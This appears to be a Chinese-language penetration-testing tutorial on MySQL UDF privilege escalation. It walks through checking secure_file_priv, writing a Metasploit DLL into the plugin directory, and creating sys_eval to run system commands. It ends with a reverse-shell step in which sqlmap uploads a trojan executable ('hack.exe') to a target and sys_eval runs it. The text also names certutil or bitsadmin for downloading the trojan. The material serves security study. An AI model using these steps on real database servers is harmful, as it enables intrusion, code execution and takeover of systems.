UDF定义
UDF (user defined function)**,即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,可以通过导入dll文件增加新的函数**,执行系统命令
UDF提权步骤
查看secure_file_priv的值
1 | show global variables like 'secure%'; |
当secure_file_priv
的值为空时,才能提权
可以通过my.ini设置secure_file_priv的值
或者linux下的/etc/my.cnf的[mysqld]下面的local-infile=0
选项
查看系统架构以及plugin的目录
这一步主要是用于确定下一步选用的dll版本和注入的目录位置
1 | show variables like '%compile%'; #查看主机版本及架构 |
在kali的msf目录中找到对应系统版本的dll文件
将dll文件写入plugin目录
需要提前创建好**/lib/plugin**文件夹,可以使用以下命令创建
1 | select 'xxxxxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION' |
但是需要文件夹写入权限(本地测试不成功)
1 | create table temp(data longblob); |
使用系统命令
1 | select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数 |
MSF进行UDF提权
exploit/multi/mysql/mysql_udf_payload这个模块可以进行UDF提权
反弹shell
思路:通过certutil或bitsadmin下载木马或者sqlmap写入文件,要写在plugin目录,因为sys_eval只能执行当前目录的文件
这里使用sqlmap写入文件
1
sqlmap -u "http://192.168.10.130/?id=2" --file-write msf.exe --file-dest "C:\phpStudy\PHPTutorial\MySQL\data\hack.exe"
--file-write
指定文件,--file-dest
指定目标文件路径使用udf的sys_eval函数执行文件
1
2
3select sys_eval("hack.exe");
或者
select shell("cmd","hack.exe");